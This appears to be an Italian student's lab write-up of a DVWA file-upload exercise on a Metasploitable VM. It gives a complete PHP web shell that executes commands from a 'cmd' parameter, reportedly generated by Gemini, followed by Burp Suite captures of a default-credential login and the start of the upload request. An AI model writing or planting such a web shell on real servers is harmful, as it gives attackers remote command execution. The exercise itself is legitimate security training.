

## S6 L1

Codice php per aprire una shell su un sito internet generato grazie a gemini:

```
"<?php

// Controlla se è stato inviato un comando tramite il parametro 'cmd'

if (isset($_GET['cmd'])) {

    $command = $_GET['cmd'];

    // Esegue il comando e cattura l'output
    $output = shell_exec($command);

}

?>

<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <title>Web Shell PHP</title>
    <style>
        body { font-family: monospace; background: #1e1e1e; color: #00ff00; padding: 20px; }
        input { width: 80%; padding: 5px; background: #333; color: #fff; border: 1px solid #555; }
        pre { background: #000; padding: 15px; border-radius: 5px; overflow-x: auto; }
    </style>
</head>
<body>
    <h2>PHP Command Shell</h2>
    <form method="GET">
```

```
<label>Comando: </label>
<input type="text" name="cmd" autofocus>
<button type="submit">Esegui</button>
</form>

<?php if (isset($output)): ?>
<h3>Risultato:</h3>
<pre><?php echo htmlspecialchars($output); ?></pre>
<?php endif; ?>
</body>
</html> "
```

### Screenshot dell'esecuzione dell' esercizio



Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

- [TWiki](#)
- [phpMyAdmin](#)
- [Mutillidae](#)
- [DVWA](#)
- [WebDAV](#)

```

Pretty Raw Hex
1 GET /dwww/ HTTP/1.1
2 Host: 192.168.50.11
3 Accept-Language: en-US,en;q=0.9
4 Upgrade-Insecure-Requests: 1
5 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
6 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
7 Referer: http://192.168.50.11/
8 Accept-Encoding: gzip, deflate, br
9 Connection: keep-alive
0

Burp Suite Community Edition v2025.7.4 - Temporary Project
Dashboard Target Proxy Intruder Repeater View Help
Intercept HTTP history WebSockets history Match and replace | ⚙ Proxy settings
 Intercept Forward Drop
Time Type Direction Method URL
16:08:23 12 Jan ... HTTP → Request POST http://192.168.50.11/dwww/login.php

```

**Request**

```

Pretty Raw Hex
1 POST /dwww/login.php HTTP/1.1
2 Host: 192.168.50.11
3 Content-Length: 44
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Origin: http://192.168.50.11
7 Content-Type: application/x-www-form-urlencoded
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 Referer: http://192.168.50.11/dwww/login.php
2 Accept-Encoding: gzip, deflate, br
3 Cookie: security=high; PHPSESSID=b47d35c024c8c4c3563647d99e3aacl
4 Connection: keep-alive
5
6 username=admin&password=password&Login=Login

Intercept HTTP history WebSockets history Match and replace | ⚙ Proxy settings
Intercept Forward Drop
Time Type Direction Method URL
16:17:31 12 Jan 2... HTTP → Request POST http://192.168.50.11/dwww/vulnerabilities/upload/

```

**Request**

```

Pretty Raw Hex
1 POST /dwww/vulnerabilities/upload/ HTTP/1.1
2 Host: 192.168.50.11
3 Content-Length: 1391
4 Cache-Control: max-age=0
5 Accept-Language: en-US,en;q=0.9
6 Origin: http://192.168.50.11
7 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNwpDLjdSTUHOBJO
8 Upgrade-Insecure-Requests: 1
9 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11 Referer: http://192.168.50.11/dwww/vulnerabilities/upload/
12 Accept-Encoding: gzip, deflate, br
13 Cookie: security=high; PHPSESSID=b47d35c024c8c4c3563647d99e3aacl
14 Connection: keep-alive
15 ----WebKitFormBoundaryNwpDLjdSTUHOBJO
16 Content-Disposition: form-data; name="MAX_FILE_SIZE"
17
18 100000
19


```